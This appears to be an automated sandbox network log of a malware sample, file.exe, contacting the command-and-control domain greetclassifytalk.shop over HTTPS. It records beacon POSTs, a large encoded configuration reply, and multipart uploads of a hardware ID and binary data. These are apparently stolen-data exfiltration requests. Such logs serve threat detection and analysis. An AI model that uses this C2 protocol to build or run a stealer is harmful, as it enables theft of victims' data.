Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2024 19:20:56.333313942 CEST	52332	53	192.168.2.4	1.1.1.1
Apr 20, 2024 19:20:56.473897934 CEST	53	52332	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 20, 2024 19:20:56.333313942 CEST	192.168.2.4	1.1.1.1	0x4a42	Standard query (0)	greetclassifytalk.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 20, 2024 19:20:56.473897934 CEST	1.1.1.1	192.168.2.4	0x4a42	No error (0)	greetclassifytalk.shop		172.67.177.98	A (IP address)	IN (0x0001)	false
Apr 20, 2024 19:20:56.473897934 CEST	1.1.1.1	192.168.2.4	0x4a42	No error (0)	greetclassifytalk.shop		104.21.51.78	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

greetclassifytalk.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.177.98	443	6816	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 17:20:56 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: greetclassifytalk.shop
2024-04-20 17:20:56 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-20 17:20:57 UTC	806	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 17:20:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vsbfm90er006thjum337bgkl9t; expires=Wed, 14-Aug-2024 11:07:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pNa2Yvly%2BYjCut3Hpg4nn%2FWsTp4kYJboorV6dz01Ern%2Bd%2B3uLAlNve213WvxWtU15SZOuNWUbnRMmKX3WkzLEl7Ugeipulm2zwiuDxWAxzbJxR5oljLfaQYiM8OBJ1IhNlqJsfef6WxN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8776ced3a896b0d3-ATL alt-svc: h3=":443"; ma=86400
2024-04-20 17:20:57 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-20 17:20:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.177.98	443	6816	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 17:20:57 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: greetclassifytalk.shop
2024-04-20 17:20:57 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 73 78 46 4b 75 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=4sxFKu--&j=default
2024-04-20 17:20:58 UTC	804	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 17:20:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ofenmrotkttjpeacesrac65ih3; expires=Wed, 14-Aug-2024 11:07:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vx3jrLHbohruXZX%2BbwS001JhYvxvMLroaYpA6Wh6LFrCtcCwMAN1l4IX7uqWvAdmVGA3E9Ux3hOCdkX7%2B2ENlxociny6cSEu8xI5vbtuOvJZ2qfzA430R5x%2BMJpHo4GnKZGmBRHg0rH9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8776ced8ce8f6760-ATL alt-svc: h3=":443"; ma=86400
2024-04-20 17:20:58 UTC	565	IN	Data Raw: 35 30 35 0d 0a 6b 78 46 62 62 7a 4a 64 36 76 34 53 44 66 55 41 67 54 32 77 45 77 62 46 51 45 6e 4c 67 6a 51 6e 78 71 43 77 6c 49 4f 66 71 50 66 6f 47 31 4a 4e 52 48 2f 51 33 69 59 68 2f 77 6d 6a 54 74 55 78 50 4f 55 30 4f 37 37 6e 47 43 33 50 67 74 48 77 6f 61 57 49 6b 66 4a 39 4b 41 6f 65 56 2b 50 63 66 33 58 58 4f 71 46 6d 75 68 70 39 7a 30 6c 41 36 65 64 61 42 66 79 41 6b 75 50 6d 2f 63 32 50 35 33 51 31 48 46 73 79 68 4c 35 2f 61 49 46 68 37 46 7a 44 65 43 69 73 4c 32 76 6e 69 44 30 75 35 4d 58 4b 74 72 6d 2f 69 72 72 32 5a 54 6f 69 55 79 36 42 33 44 34 48 2f 41 6d 6a 57 4d 51 78 50 4f 56 69 46 65 6e 79 56 56 57 6e 7a 63 50 49 6f 61 58 54 71 37 46 34 4c 77 70 41 50 4a 36 58 66 57 4f 47 58 4b 4d 48 68 69 4d 32 39 58 42 35 74 71 41 2b 4c 72 75 71 75 63 Data Ascii: 505kxFbbzJd6v4SDfUAgT2wEwbFQEnLgjQnxqCwlIOfqPfoG1JNRH/Q3iYh/wmjTtUxPOU0O77nGC3PgtHwoaWIkfJ9KAoeV+Pcf3XXOqFmuhp9z0lA6edaBfyAkuPm/c2P53Q1HFsyhL5/aIFh7FzDeCisL2vniD0u5MXKtrm/irr2ZToiUy6B3D4H/AmjWMQxPOViFenyVVWnzcPIoaXTq7F4LwpAPJ6XfWOGXKMHhiM29XB5tqA+Lruquc
2024-04-20 17:20:58 UTC	727	IN	Data Raw: 45 44 6d 47 6e 58 31 76 68 57 72 6f 56 4e 64 6a 62 36 34 76 4a 71 6e 74 58 45 71 6e 77 74 58 38 36 2f 4c 41 6b 66 78 2b 50 77 31 51 66 38 62 30 47 77 54 58 5a 66 73 66 69 6a 4d 6b 68 43 63 37 72 75 78 41 42 35 36 43 75 70 33 2b 73 36 48 58 73 78 74 53 46 44 68 55 34 39 78 33 59 39 63 36 6f 52 2f 61 64 47 65 6b 4b 53 53 71 36 46 31 58 70 4e 44 55 2b 2b 54 76 7a 4a 44 2f 65 54 6f 66 57 6a 47 4f 6e 33 6c 6b 6e 6d 66 6b 57 35 49 2f 44 4d 78 4a 61 36 37 34 46 68 33 6d 67 76 50 37 36 76 48 41 67 76 45 7a 55 57 5a 50 63 65 44 33 61 51 66 38 43 61 4e 59 33 6a 45 38 35 57 49 76 71 4f 52 58 51 61 72 4d 31 76 72 6e 38 38 65 61 39 33 6b 35 43 6c 6f 33 67 4a 31 39 5a 4a 68 69 35 6c 4c 57 64 32 69 6d 4a 32 76 6e 69 44 30 75 35 4d 58 4b 74 72 6d 2f 69 72 76 32 63 43 74 Data Ascii: EDmGnX1vhWroVNdjb64vJqntXEqnwtX86/LAkfx+Pw1Qf8b0GwTXZfsfijMkhCc7ruxAB56Cup3+s6HXsxtSFDhU49x3Y9c6oR/adGekKSSq6F1XpNDU++TvzJD/eTofWjGOn3lknmfkW5I/DMxJa674Fh3mgvP76vHAgvEzUWZPceD3aQf8CaNY3jE85WIvqORXQarM1vrn88ea93k5Clo3gJ19ZJhi5lLWd2imJ2vniD0u5MXKtrm/irv2cCt
2024-04-20 17:20:58 UTC	1369	IN	Data Raw: 33 34 65 37 0d 0a 54 68 55 6c 39 49 59 42 49 34 4b 69 44 53 53 64 6d 6a 6e 65 6d 6e 70 35 6c 70 41 71 38 7a 53 2b 4f 44 77 7a 4a 48 38 63 79 73 4c 51 6a 69 4a 6e 33 4e 70 6b 6d 62 6a 58 74 64 30 59 4b 38 6d 4a 36 61 67 47 43 33 50 71 5a 4c 78 2b 62 32 53 31 37 46 63 4c 67 4e 47 4e 4a 79 62 59 48 36 74 49 4e 5a 63 33 48 39 6a 73 57 4a 44 77 76 38 59 4c 63 2f 62 75 70 32 4b 76 63 32 5a 73 53 74 37 54 56 6b 74 6d 70 68 32 5a 4a 78 77 38 56 58 57 63 47 57 67 4c 53 71 69 35 56 70 50 72 38 62 41 2f 75 6a 2b 32 4a 48 78 65 44 4d 4c 45 48 48 67 39 78 73 76 6b 48 71 6a 42 35 41 78 51 4b 6f 79 4a 36 4c 32 55 56 57 52 77 64 7a 34 35 75 75 4b 2f 5a 70 73 64 32 55 37 4a 75 44 33 47 79 2b 51 62 71 4d 48 6b 44 46 72 71 43 30 6a 71 65 46 53 53 4b 44 44 33 2f 72 6f 2f 73 Data Ascii: 34e7ThUl9IYBI4KiDSSdmjnemnp5lpAq8zS+ODwzJH8cysLQjiJn3NpkmbjXtd0YK8mJ6agGC3PqZLx+b2S17FcLgNGNJybYH6tINZc3H9jsWJDwv8YLc/bup2Kvc2ZsSt7TVktmph2ZJxw8VXWcGWgLSqi5VpPr8bA/uj+2JHxeDMLEHHg9xsvkHqjB5AxQKoyJ6L2UVWRwdz45uuK/Zpsd2U7JuD3Gy+QbqMHkDFrqC0jqeFSSKDD3/ro/s
2024-04-20 17:20:58 UTC	1369	IN	Data Raw: 65 30 31 67 4d 6f 53 58 66 43 32 69 59 65 31 52 31 57 63 6b 7a 30 6b 30 35 34 67 39 58 4d 79 70 75 62 62 6d 38 59 72 4e 73 7a 4d 32 44 46 30 31 67 35 4a 38 62 70 64 6d 34 46 58 53 66 6d 47 68 4b 69 4b 70 38 6c 46 4b 70 63 50 5a 2f 65 7a 7a 7a 35 54 30 64 48 6c 44 4f 46 54 6a 33 48 64 33 31 7a 71 68 48 2f 39 59 58 75 64 4b 51 4c 61 75 50 69 36 39 71 72 6d 64 6f 66 72 47 31 61 6b 78 65 51 6c 61 50 34 57 57 65 32 43 55 5a 65 31 66 33 33 74 32 72 79 49 72 70 2b 5a 58 53 61 48 44 33 76 58 7a 38 63 79 59 39 33 73 72 54 52 35 58 34 2f 63 77 61 49 38 69 75 78 32 53 55 57 2b 72 49 53 65 6f 35 78 52 6b 72 73 48 5a 2b 71 50 49 79 5a 76 2f 64 43 39 4e 4f 46 53 58 30 68 67 45 6a 67 71 49 4e 4a 4a 32 61 4f 64 36 61 65 6e 6b 55 6b 6d 6b 78 64 7a 79 35 2f 44 4e 6e 76 78 Data Ascii: e01gMoSXfC2iYe1R1Wckz0k054g9XMypubbm8YrNszM2DF01g5J8bpdm4FXSfmGhKiKp8lFKpcPZ/ezzz5T0dHlDOFTj3Hd31zqhH/9YXudKQLauPi69qrmdofrG1akxeQlaP4WWe2CUZe1f33t2ryIrp+ZXSaHD3vXz8cyY93srTR5X4/cwaI8iux2SUW+rISeo5xRkrsHZ+qPIyZv/dC9NOFSX0hgEjgqINJJ2aOd6aenkUkmkxdzy5/DNnvx
2024-04-20 17:20:58 UTC	1369	IN	Data Raw: 54 71 4f 6e 58 56 71 6c 6d 62 76 56 64 52 79 5a 36 67 74 4a 4b 47 67 47 43 33 50 71 5a 4c 78 2b 62 32 53 31 37 46 57 4c 67 5a 65 4f 63 6a 30 47 33 44 5a 43 6f 68 47 75 68 6f 50 35 79 55 6e 36 62 67 55 42 61 6a 4c 31 50 44 6b 38 63 75 54 2b 58 59 78 43 56 45 35 6a 70 39 2f 61 35 4a 6a 37 46 76 65 66 32 36 6d 49 79 65 69 37 31 31 41 35 49 79 36 6e 59 71 39 7a 59 32 78 4b 33 74 4e 59 54 79 65 69 32 42 6a 31 77 71 49 51 4a 77 5a 44 37 35 4b 51 4d 4b 67 55 55 6e 6b 6d 70 43 32 34 4f 2f 41 6e 2f 39 32 4e 67 68 54 4d 49 2b 52 64 6d 4f 64 61 2b 74 5a 33 58 68 32 70 43 34 6c 72 75 35 61 53 36 6e 49 30 66 75 68 73 36 4c 2b 6d 6a 4d 2b 46 52 42 6e 79 74 78 63 61 4a 70 4d 36 46 50 56 4d 51 7a 4d 50 57 58 42 69 30 38 74 7a 36 6d 53 38 65 32 39 6b 74 65 78 66 7a 4d 42 Data Ascii: TqOnXVqlmbvVdRyZ6gtJKGgGC3PqZLx+b2S17FWLgZeOcj0G3DZCohGuhoP5yUn6bgUBajL1PDk8cuT+XYxCVE5jp9/a5Jj7Fvef26mIyei711A5Iy6nYq9zY2xK3tNYTyei2Bj1wqIQJwZD75KQMKgUUnkmpC24O/An/92NghTMI+RdmOda+tZ3Xh2pC4lru5aS6nI0fuhs6L+mjM+FRBnytxcaJpM6FPVMQzMPWXBi08tz6mS8e29ktexfzMB
2024-04-20 17:20:58 UTC	1369	IN	Data Raw: 6c 78 5a 35 31 71 37 46 44 41 63 47 75 75 4a 53 43 6b 37 31 68 41 71 74 44 56 2f 65 72 31 77 35 76 33 4d 33 64 6c 4f 31 54 49 6d 32 67 76 7a 79 43 6a 61 64 46 2f 62 37 59 74 4b 4b 57 67 50 69 36 37 6a 4c 71 64 2b 4a 57 68 2f 72 46 30 4e 55 30 49 66 63 69 51 66 6d 2b 59 62 75 39 55 32 6e 42 6f 71 53 55 75 6f 4f 68 65 56 36 58 47 32 76 66 76 38 73 75 52 39 48 59 39 43 6c 51 35 68 39 77 2b 42 2f 77 4a 6f 31 6a 4b 4d 54 7a 6c 59 67 53 75 39 58 64 2f 35 4b 71 35 36 61 2b 56 6f 59 79 5a 47 46 4a 4e 56 7a 50 49 78 44 49 76 6e 57 6e 6e 58 4e 5a 30 61 36 59 6a 4c 62 76 6e 58 31 65 71 7a 39 33 2b 36 66 54 4c 6b 66 52 2b 50 77 46 61 50 6f 2b 53 66 6d 66 58 4c 49 73 30 75 54 46 6a 76 32 4a 7a 36 36 42 33 56 62 2f 51 78 50 76 41 38 4d 58 56 6d 52 67 6d 51 7a 68 55 6b Data Ascii: lxZ51q7FDAcGuuJSCk71hAqtDV/er1w5v3M3dlO1TIm2gvzyCjadF/b7YtKKWgPi67jLqd+JWh/rF0NU0IfciQfm+Ybu9U2nBoqSUuoOheV6XG2vfv8suR9HY9ClQ5h9w+B/wJo1jKMTzlYgSu9Xd/5Kq56a+VoYyZGFJNVzPIxDIvnWnnXNZ0a6YjLbvnX1eqz93+6fTLkfR+PwFaPo+SfmfXLIs0uTFjv2Jz66B3Vb/QxPvA8MXVmRgmQzhUk
2024-04-20 17:20:58 UTC	1369	IN	Data Raw: 46 5a 2b 70 58 31 6e 68 6b 6f 79 67 6d 72 75 42 54 53 4b 48 47 33 50 4c 6d 2f 63 61 61 39 6e 73 32 43 56 41 77 79 4e 49 59 42 50 77 69 35 45 65 53 4b 53 62 6e 41 69 43 2f 77 56 68 4f 74 6f 4b 36 6e 66 36 7a 6f 76 37 6f 47 31 4a 6d 45 44 69 45 33 43 67 74 31 32 7a 71 58 74 70 2f 61 4b 38 6d 4f 61 6e 72 58 30 71 6c 7a 64 4c 31 34 50 66 43 68 2f 64 7a 4d 67 56 58 4e 34 79 53 59 6d 36 59 49 71 30 33 75 52 6f 6b 6f 44 70 72 38 61 49 57 64 4c 4c 46 31 66 6d 6a 31 4d 32 4f 38 48 6b 36 42 6c 78 2f 34 50 64 76 49 66 38 4a 2b 6a 65 35 47 69 53 67 4c 6d 76 78 6f 68 5a 49 71 4d 2f 57 35 4f 33 39 79 70 7a 32 65 53 73 43 58 7a 4b 4c 6e 48 56 39 6c 6e 44 73 56 4e 64 79 59 4b 67 74 4a 36 48 71 46 67 76 4d 71 62 6d 32 35 75 57 4b 7a 62 4d 7a 46 51 35 42 4e 63 71 37 61 6e Data Ascii: FZ+pX1nhkoygmruBTSKHG3PLm/caa9ns2CVAwyNIYBPwi5EeSKSbnAiC/wVhOtoK6nf6zov7oG1JmEDiE3Cgt12zqXtp/aK8mOanrX0qlzdL14PfCh/dzMgVXN4ySYm6YIq03uRokoDpr8aIWdLLF1fmj1M2O8Hk6Blx/4PdvIf8J+je5GiSgLmvxohZIqM/W5O39ypz2eSsCXzKLnHV9lnDsVNdyYKgtJ6HqFgvMqbm25uWKzbMzFQ5BNcq7an
2024-04-20 17:20:58 UTC	1369	IN	Data Raw: 57 4d 6f 78 50 4f 56 69 43 4c 37 32 58 46 37 6b 71 72 6e 70 72 35 57 68 6a 4a 6b 59 55 6b 31 58 4d 38 6a 45 4d 69 2b 61 5a 65 31 58 31 48 39 69 74 53 34 6b 72 2b 42 58 54 36 6e 4f 32 66 48 76 39 73 79 51 2f 48 4d 2f 43 31 51 37 6a 4a 4a 7a 4c 39 6b 4b 69 44 53 53 64 6e 7a 6e 65 6d 6e 70 78 33 74 30 35 75 48 46 34 4f 76 36 78 6f 50 36 63 6a 6f 62 58 53 2f 49 39 42 74 77 32 51 71 49 52 72 6f 61 44 2b 63 6c 4a 2b 6d 34 46 41 57 76 7a 4e 66 33 37 66 66 4e 6d 2b 4e 79 4d 77 46 52 4f 49 2b 58 59 6d 53 46 61 65 74 63 33 48 6c 74 70 79 77 72 71 4f 31 57 42 65 71 71 75 5a 32 68 2b 74 4c 56 71 54 46 35 4b 48 4d 6f 6e 70 59 79 54 49 42 30 36 56 6a 65 5a 32 2b 6d 49 54 32 6b 38 42 59 74 7a 39 32 63 6e 6f 72 6b 6f 76 36 61 4d 7a 34 42 45 47 66 4b 33 48 74 67 6d 57 2f Data Ascii: WMoxPOViCL72XF7kqrnpr5WhjJkYUk1XM8jEMi+aZe1X1H9itS4kr+BXT6nO2fHv9syQ/HM/C1Q7jJJzL9kKiDSSdnznemnpx3t05uHF4Ov6xoP6cjobXS/I9Btw2QqIRroaD+clJ+m4FAWvzNf37ffNm+NyMwFROI+XYmSFaetc3HltpywrqO1WBeqquZ2h+tLVqTF5KHMonpYyTIB06VjeZ2+mIT2k8BYtz92cnorkov6aMz4BEGfK3HtgmW/
2024-04-20 17:20:58 UTC	1369	IN	Data Raw: 53 72 50 53 55 44 70 35 45 63 46 2f 49 43 43 70 4c 71 6f 6d 63 4b 68 49 56 46 6d 54 33 48 67 39 32 6b 48 2f 41 6d 6a 53 5a 49 70 4a 76 56 73 51 38 4b 4c 46 6c 66 6b 6d 70 43 32 70 76 50 48 6c 50 4a 39 4f 68 39 43 4f 59 75 4b 63 79 69 70 58 4d 4a 53 32 58 31 70 71 43 6b 56 6c 38 46 62 54 71 6a 50 33 66 33 66 77 39 2b 57 2f 33 30 2b 47 30 46 2f 78 76 51 62 42 4e 64 74 6f 77 65 51 53 43 54 76 59 68 54 6e 69 44 30 75 35 4e 71 53 72 71 4f 39 2f 35 62 2f 66 54 34 62 51 58 4b 70 6b 58 74 6a 6d 6d 33 6f 48 35 77 5a 44 38 78 69 4c 65 6d 34 46 42 58 71 71 72 6d 64 6f 66 6e 62 31 61 6b 78 61 56 38 4c 61 74 76 4c 49 44 33 2f 43 66 77 52 75 68 70 39 7a 30 6c 41 36 66 59 57 48 65 61 51 6e 4a 36 4b 6c 6f 71 48 73 53 74 37 54 52 63 38 6d 6f 35 32 62 49 46 68 70 47 48 73 Data Ascii: SrPSUDp5EcF/ICCpLqomcKhIVFmT3Hg92kH/AmjSZIpJvVsQ8KLFlfkmpC2pvPHlPJ9Oh9COYuKcyipXMJS2X1pqCkVl8FbTqjP3f3fw9+W/30+G0F/xvQbBNdtoweQSCTvYhTniD0u5NqSrqO9/5b/fT4bQXKpkXtjmm3oH5wZD8xiLem4FBXqqrmdofnb1akxaV8LatvLID3/CfwRuhp9z0lA6fYWHeaQnJ6KloqHsSt7TRc8mo52bIFhpGHs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.177.98	443	6816	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 17:20:58 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: greetclassifytalk.shop
2024-04-20 17:20:58 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 44 31 46 33 38 30 39 32 31 37 35 42 43 38 30 38 45 36 36 35 38 39 33 37 41 44 34 46 31 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4D1F38092175BC808E6658937AD4F1B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-20 17:20:58 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-04-20 17:20:59 UTC	806	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 17:20:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l12a5lccrcqhvgjtmoltjo1pt1; expires=Wed, 14-Aug-2024 11:07:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bJGd6rUpgGVMPJEX8T56Joyg4tHaxfUa0sVfbquLem%2BqJiX0FiaOr62gVzieHQtRw1ZGLPQEmWbtVqjRy9h2bHnQUJ05YOmB1%2BmU4XTlCuAyz2o9nHCqbZWBOjwQn%2Bj7UnYzI7zrm%2Bh8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8776ceddec2106e6-ATL alt-svc: h3=":443"; ma=86400
2024-04-20 17:20:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-20 17:20:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	172.67.177.98	443	6816	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 17:20:59 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8779 Host: greetclassifytalk.shop
2024-04-20 17:20:59 UTC	8779	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 44 31 46 33 38 30 39 32 31 37 35 42 43 38 30 38 45 36 36 35 38 39 33 37 41 44 34 46 31 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4D1F38092175BC808E6658937AD4F1B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-20 17:20:59 UTC	810	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 17:20:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n3rn7gsq8n7di9ks42ggue63u7; expires=Wed, 14-Aug-2024 11:07:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aQNta%2F0koBiSdxwKc4o5oOTpUmMA3lTKJn3wAHf2Q9ojn9n1QDyv1p12xFXvSr76L%2BBnqGd%2FzT0AvlTDqK68hNWzh%2BZtU2wLXQLkC3LCcvS%2BqjpB4fNj4OYfxppYpvYcV6V%2FnPGFqYCN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8776cee399391f9e-ATL alt-svc: h3=":443"; ma=86400
2024-04-20 17:20:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-20 17:20:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	172.67.177.98	443	6816	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 17:21:00 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: greetclassifytalk.shop
